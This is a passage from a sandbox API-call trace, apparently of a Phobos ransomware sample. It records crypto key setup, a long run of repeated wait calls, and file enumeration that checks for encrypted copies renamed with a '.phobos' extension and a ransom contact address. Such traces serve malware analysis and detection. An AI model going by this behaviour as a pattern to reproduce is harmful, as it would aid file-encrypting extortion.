Size=0x10000) returned 0x44d0058 [0147.358] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23ac038 [0147.359] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x110102) returned 0x47da020 [0147.362] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x50) returned 0x23ac068 [0147.362] CryptImportKey (in: hProv=0x8067b0, pbData=0x425fa40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x425faa8 | out: phKey=0x425faa8*=0x8369a0) returned 1 [0147.362] CryptSetKeyParam (hKey=0x8369a0, dwParam=0x1, pbData=0x425fa90, dwFlags=0x0) returned 1 [0147.362] CryptDecrypt (in: hKey=0x8369a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0x425fa5c | out: pbData=0x23ac068, pdwDataLen=0x425fa5c) returned 1 [0147.362] CryptDestroyKey (hKey=0x8369a0) returned 1 [0147.362] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0147.363] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c06b30 [0147.363] Wow64DisableWow64FsRedirection (in: OldValue=0x425faf4 | out: OldValue=0x425faf4*=0x0) returned 1 [0147.363] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.363] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.364] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.365] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.366] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.367] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.368] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.369] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.370] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.371] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.372] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.373] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.374] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.375] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.376] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.377] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.378] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.379] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.380] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.381] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.382] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.383] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.384] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.385] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.385] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.385] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.385] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.385] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.386] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0xffffffff) returned 0x0 [0147.947] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0147.947] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.947] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0147.947] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0147.962] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4662) returned 1 [0147.962] CloseHandle (hObject=0x53c) returned 1 [0147.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20 [0147.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.962] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.974] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0147.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0147.978] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=791421) returned 1 [0147.978] CloseHandle (hObject=0x564) returned 1 [0147.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0147.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0147.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 